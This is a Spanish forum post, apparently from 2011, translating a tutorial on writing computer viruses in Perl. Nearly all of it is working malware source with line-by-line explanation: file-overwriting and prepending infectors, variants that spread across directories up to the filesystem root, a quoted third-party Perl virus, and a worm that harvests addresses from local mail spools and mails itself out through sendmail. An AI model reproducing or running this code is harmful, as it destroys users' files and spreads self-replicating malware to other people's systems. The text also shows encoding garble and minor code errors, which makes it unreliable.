Tutorial - Perl virus

Iniciado por @ed33x, Enero 27, 2011, 08:49:24 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 27, 2011, 08:49:24 PM Ultima modificación: Marzo 14, 2015, 09:54:21 AM por Expermicid
Autor: SnakeByte
Traducido: AspriX

Debido a que he tenido que aprender Perl para un trabajo, decidi escribir un virus en este lenguaje. Hasta esta maiƒÂ±ana no he encontrado un virus hecho en perl en la web, asique decidi escribir este pequeiƒÂ±o tutorial sobre virus en Perl. Este tuto tiene la misma estructura que mi tutorial sobre Virus Script en Linux y estoy seguro que los newbies en perl (como yo) lo entenderan. Por el momento no he mirado el virus que encontre, porque quiero tratar de escribir uno propio.
(recien termine un overwritter totalmente lamer, pero decidi empezar escribiendo esto, porque quiero que el lector siga mis pasos).
Todo el codigo que veran aqui esta testeado en un Linux SuSe 7.0 con Perl 5.0005_3 y funciono bien. Voy a tratar de hacerlo compatible con otros S.O. pero no puedo garantizarlo.
Bueno, vamos a empezar con el overwritter del que les hable. Primero el codigo y despues la explicacion de lo que hace:

Código: perl
#!/usr/bin/perl

open(File,$0);
@Virus=<File>;
close(File);

foreach $FileName (<*>)
{
  open(File, ">$FileName");
  print File @Virus;
  close (File);
}


La primer linea es un comentario (marcado con #). Es casi un estandar que todos los archivos de perl tengan la ruta del interprete en la primera linea.
En la segunda linea nos abrimos a nosotros mismos. El nombre del archivo del script que esta corriendo se guarda en $0. En la tercera linea pasamos el contenido de nuestro archivo al array @Virus. Ahora, todos los valores del array (@Virus[1],@Virus[2],...) contienen una linea de nuestro archivo. Ya que esto es todo lo que queremos hacer con nuestro archivo lo cerramos.
Entonces usamos un loop para buscar archivos. Con el loop pasamos por todos los archivos del directorio actual (<*>) y copiamos su nombre en $FileName. Abrimos el archivo para escritura (mostrado como > delante del nombre del archivo) y simplemente escribimos nuestro virus sobre el archivo (si quisieramos aiƒÂ±adirnos en vez de sobreescribirnos usariamos >>nombre_del_archivo). Bueno, el archivo fue reemplazado por el virus, asique agarremos al siguiente y hagamos lo mismo...
Pienso que este pedacito de codigo esta bastante claro ahora.
Hagamoslo un poco mejor, asi no sobreescribiremos todos los archivos, solo los de perl.

Código: perl
#!/usr/bin/perl
open(File,$0);
@Virus=<File>;
close(File);

foreach $FileName (<*>)
{
  if ((-r $FileName) && (-w $FileName) && (-f $FileName))
  {
   open(File, "$FileName");
   @Temp=<File>;
   close(File);
   if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
   {
    open(File, ">$FileName");
    print File @Virus;
    close (File);
   }
  }
}


Las primeras lineas las vimos en el anterior ejemplo. Despues sigue un If enorme, veamos lo que hace.
Este filtra todos los archivos que somos capaces de leer (-r), de escribir (-w) y los que son archivos en si y no directorios (-f).
Cada una de estas condiciones debe cumplirse, ya que las juntamos con && que es un AND logico. Entonces abrimos el archivo para leer (como ves, no hay > adelante del nombre).
Copiamos el archivo entero en $Temp y lo cerramos. Entonces buscamos en la primer y segunda linea (@Temp[0] y @Temp[1]) por la palabra "perl" (Las mayusculas/minusculas no se ignoran, pero hasta ahora no encontre metodos de comparacion de strings que ignoren mayusculas/minusculas, pero seguire buscando), para ver si tenemos un archivo perl.  /*Nota del traductor: La frase del parentesis no la entendi muy bien, pero despues de pensar un rato estoy casi seguro que quiere decir eso ^^ */
El resto es como en el ejemplo anterior. Hay 2 cosas que podriamos agregar para buscar los archivos. La primera es ver si son ejecutables (if(-x $FileName)), pero como creo que no podemos chequear esto en Windows, y hay gente como yo que corren sus archivos perl con el interprete y no setean el flag 'ejecutable', no lo hare. La otra cosa que podriamos hacer es ver con el comando 'file' de Linux si el archivo es un script perl. Pero esto tampoco funcionara en Windows, asique no lo hare.
Bueno, creo que ya entendimos las bases. Ahora olvidemosnos de esta mierda de overwritting y empezemos a hacer algo mas serio: prepending (aiƒÂ±adidura?) /*Nota del autor: prepending=aiƒÂ±adidura? Es aiƒÂ±adir al principio, pero no supe si traducirlo asi o no*/

Código: perl
#!/usr/bin/perl
#PerlDemo                   # NUEVO

open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...27];      # NUEVO
close(File);

foreach $FileName (<*>)
{
  if ((-r $FileName) && (-w $FileName) && (-f $FileName))
  {
   open(File, "$FileName");
   @Temp=<File>;
   close(File);
   if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))  # NUEVO
   {
    if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
    {
     open(File, ">$FileName");
     print File @Virus;
     print File @Temp;         # NUEVO
     close (File);
    }
   }
  }
}


Esta vez he marcado las lineas nuevas, porque no cambio mucho. El primer cambio es que obtenemos solo las primeras 24 lineas del archivo que esta corriendo (el infectado). Esto es porque tambien aiƒÂ±adiremos el archivo original al que infectamos. El segundo cambio es que agregamos el archivo original al virus mientras infectamos. Entonces el nuevo archivo iniciara con el virus, despues una linea vacia y despues el archivo vieja, que empieza con #!/usr/bin/perl o lo que sea ;-)
Buscar "PerlDemo" sirve para ver si el archivo ya ha sido infectado por nosotros.
Normalmente empezaria a ver como se puede optimizar, pero aqui no podemos hacer mucho, juntar las lineas es lo unico que se me ocurre:

Código: perl
#!/usr/bin/perl #PerlDemo
open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
open(File, "$FileName"); @Temp=<File>; close(File); if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus;
print File @Temp; close (File); } } } }


Esto nos salva de unos saltos de linea solamente y no esta tan bueno =P
Agreguemos algunas cosas que esten buenas para el virus, como viajar entre directorios. Primero lo haremos hacia abajo, echemos un vistazo:

Código: perl
#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...24];
close(File);

&InfectFile;                # NUEVO
chdir('..');                # NUEVO
&InfectFile;                # NUEVO

sub InfectFile {            # NUEVO
  foreach $FileName (<*>) {
   if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
    open(File, "$FileName");
    @Temp=<File>;
    close(File);
    if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
     if ((@Temp[0] =~ "perl",,i) or (@Temp[1] =~ "perl",,i)) {   # NUEVO
      open(File, ">$FileName");
      print File @Virus;
      print File @Temp;
      close (File);
}}}}}


Que hemos hecho? El primer cambio que vemos es que colocamos las
rutinas de busqueda de archivos y de infeccion en un sub, que llamamos
2 veces desde el main.
Otro cambio es chdir('..') que nos coloca un
directorio mas abajo. Esto tendria que funcionar bien en sistemas
Unix/Linux/DOS/Windows, pero no en MacOS, porque este usa '::'. Triste
pero verdadero, perl no es tan portable como quisieramos =P
Otro
cambio esta dentro de la busqueda de archivos (@Temp[1]= ~ "perl",,i).
,,i significa que buscaremos la cadena perl ignorando mayusculas y
minusculas, asique tambien encontraremos archivos perl que empiezen con
#C:\Programme\Perl\Perl.exe. El, llamemosle bug, de este virus es que
no podremos vovler al directorio anterior. Este es otro problema
causado por la incompatibilidad entre los diferentes sistemas
operativos. En Unix/Linux podemos conseguir el directorio actual
haciendo $CurPath=`pwd`, pero esto no funcionaria en Windows o MacOS.
Afortunadamente podemos saber en que SO estamos corriendo con la
variable $^0, que existe desde Perl 5.0002. El codigo que sigue nos
dira si estamos corriendo en una maquina con DOS, Windows, Linux, BSD o
Solaris.

Código: perl
#!/usr/bin/perl
#Perl Virus - Downward Travelling
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...30];
close(File);

&InfectFile;
if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd` }       # NUEVO
if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` }                            # NUEVO
$DotDot = '..';                                                                         # NUEVO
if ($^O =~ "MacOS") { $DotDot = "::" }                                                  # NUEVO
chdir($DotDot);                                                                         # NUEVO
&InfectFile;
chdir($OldDir);                                                                         # NUEVO

sub InfectFile {
  foreach $FileName (<*>) {
   if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
    open(File, "$FileName");
    @Temp=<File>;
    close(File);
    if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
     if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
      open(File, ">$FileName");
      print File @Virus;
      print File @Temp;
      close (File);
}}}}}


Bien, si el sistema es BSD, Linux o Solaris, conseguimos el directorio actual con el comando pwd, que es un comando comunmente usado que devuelve la ruta actual. En Windows lo hacemos con cd, que se usa para cambiar de directorio pero tambien sirve para conseguir la ruta actual. Entonces ponemos los dos puntos '..' como se usan en cualquier SO, expto MacOS, asique ponemos '::' si estamos corriendo en una Mac. Tal vez seria mejor hacer 2 chequeos, uno para Mac y usar los dos puntos, uno para DOS, Windows y OS/2 para usar cd para obtener la ruta, y para todo lo demas usamos pwd para obtener la ruta, ya que hay muchas versiones de BSD y Unix en las que se soporta perl y en todas funciona el comando pwd.
Si quisieramos viajar hacia arriba tenemos el mismo problema: diferentes sistemas operativos=diferentes formas de expresar su directorio raiz. Linux tiene uno solo, /, Windows y DOS tienen uno para cada disco, A:, C:, D:, y por lo que se Mac no tiene ninguno. Con el siguiente code tratare te manejar esto problemas:

Código: perl
#!/usr/bin/perl
  # Perl - Get'em'all Virus
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...46];
close(File);

&InfectFile;
if ($^0 =~ "MacOS") {
  chdir('::');
  &InfectFile; }
else { if (($^O =~ "dos") or ($^O =~ "MSWin32")) {
  $OldDir = `cd`;
  chdir('..');
  &InfectFile;
  chdir('C:\');
  &SearchUpperDirectorys;
  chdir($OldDir);}
else {
  $OldDir = `pwd`;
  chdir("/");
  &SearchUpperDirectorys;
  chdir($OldDir);}}

sub InfectFile {
  foreach $FileName (<*>) {
   if ((-r $FileName) && (-w $FileName) && (-f $FileName)) {
    open(File, "$FileName");
    @Temp=<File>;
    close(File);
    if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) {
     if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) {
      open(File, ">$FileName");
      print File @Virus;
      print File @Temp;
      close (File);
}}}}}

sub SearchUpperDirectorys {
  foreach $Directory (<*>) {
   if ((-r $Directory) && (-w &Directory ) && (-d $Directory) {
    chdir ($Directory);
    &InfectFile;
    chdir ('..')
}}}


Bien, si estamos en MacOS hemos infectado el directorio mas bajo. Si estamos en DOS o Windows infectamos la carpeta mas abajo y empezamos a buscar por otras en C:\. Despues de eso volvemos al directorio antiguo. En todos los demas sistemas buscamos el raiz de estos. Despues volvemos al directorio original.
Wow, primero que nada quiero empezar a analizar sintacticamente las variables Path que contienen todos los directorios que seran buscados cuando quieran correr un ejecutable, pero con todos estos problemas de incopatibilidad...mejor mas tarde.
Ahora quiero ver el virus del que hable antes, el que encontre en internet. El AV detecta esta cosa como Perl.spoon, y fue creada por PaddingX. Espero que este bien para el que muestre el codigo, pero no se como contactarlo. Asique si esta leyendo esto y queres que lo saque avisame! /*Nota del traductor: Realmente al pedo traducir esto, pero bueh, asi esta todo completito =P */
AiƒÂ±adi algunos comentarios para que se entienda el codigo, estos estan marcados con una S

Código: perl
#!/usr/bin/perl
use File::Find;             #S El usa un modulo para encontrar archivos, esta incluido en todas las instalaciones de perl
&virus();                   #S llamada de la sub Virus
                             #S despues de que se ejecute la sub virus vemos un pequeiƒÂ±o payload
print "
This program is infected by the Perl virus
";

sub virus                   #S empieza la parte del virus
   {
     my ( $pid, $new );      #S define variables locales
     if( $pid = fork ) { return; }
     else
       {
         open( source, $0 );        #S abre el virus
         finddepth ( \&infect, '/home/chris/test' );    #S '/home/chris/test' es donde los archivos deberian estar infectados
         sub infect
             {
             open target, "$File::Find::name";          #S abrir el archivo que queremos infectar
             $_ = <target>;                             #S leerlo en una string
             if ( /(\#!.*perl)/ )                       #S ver si tenemos #! xxxx perl en la primera linea --> chequear si es un archivo perl
             {
                 $_ = <target>;                         #S leer la segunda linea
                 if( $_ ne "use File::Find;
" )        #S si es use File::Find (usa ese modulo) no sera infectado --> marca de infeccion
                   {
                     $new = $1 . "
use File::Find;
&virus();
" . $_;  #S Escribe las primeras 2 lineas del virus en $NEW
                     while( <target> ) { $new = $new . $_; }    #S Escribe el archivo que infectamos en $NEW
                     seek(  source, 0, 0 );
                      while( <source> ne "sub virus
" ) { };   #S Lee el archivo hasta encontrar el virus
                      $new = $new . "
sub virus
";            #S escribe 'sub virus' en $NEW
                      while( <source> ) { $new = $new . $_; }   #S aiƒÂ±ade el resto del virus a $NEW
                      close  target;                        #S cierra el archivo que infectamos
                      open   target, ">$File::Find::name";  #S lo abre devuelta para escritura
                      print  target $new;                   #S escribe $NEW en el archivo
                   }
               }
             close( target );    #S cierra el archivo infectado
           }
         close( source );        #S cierra el virus
         exit( 0 );              #S sale del programa
       }
  }

# a Perl virus, by paddingx
# 08/15/1999



Bueno, como vemos el virus es de aiƒÂ±adidura. Escribe una llamada al virus al principio y aiƒÂ±ade el resto al archivo. Esto es como la vieja infeccion de aiƒÂ±adidura Com en DOS
El archivo infectado se vera asi:

[ Stub :
    #!/usr/bin/perl
    use File::Find;
    &virus();           ]
[... Original File ... ]
[ .. virus procedure ..]

Aun si solo corre en Unix es una linda pieza de codigo, porque pienso que es posible usar tecnicas EPO con este tipo de infeccion, buscando por un call (&Procedure) y cambiandolo por el virus y poner un call as procedure original al final del virus...
Bueno, ahora viene el ultimo pedazo de codigo, solamente para mostrar otra cosa simple que se puede hacer con perl, porque todo el mundo dice que Worms auto-enviables por mail es una cosa que solo se puede hacer con lenguajes script de windows.
Esto es un worm auto-enviable que usa sendmail y asume que los mails estan en /var/spool/mail/. Tal vez alguien, que sepa mas de linux que yo, puede intentar modificarlo para obtener la carpeta de mails de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: perl
#!/usr/bin/perl
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...29];
close(File);

foreach $FileName (</var/spool/mail/*>) {
  if ((-r $FileName) && (-f $FileName)) {
   open(File, "$FileName");
   @test1=<File>;
   close(File);
   @ReceiverList = grep /From:/, @test1;
   foreach $Receiver2 (@ReceiverList){
    @Receiver = split(/:/, $Receiver2);
    @Addy = split(/</, @Receiver[1]);
    open(File,">PerlWurm");
    print File "Hi@Addy[0]
";
    print File "take a look at this perl script
and see what is possible to do
in perl..
";
    print File " cu soon

";
    print File @Virus;
    print File ".
";
    close(File);

    chomp(@Addy[1]);
    chop(@Addy[1]);
    $x = `sendmail @Addy[1] < PerlWurm`;
}}}


Me cambie de messenger ahora es: No tienes permitido ver los links. Registrarse o Entrar a mi cuentaNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta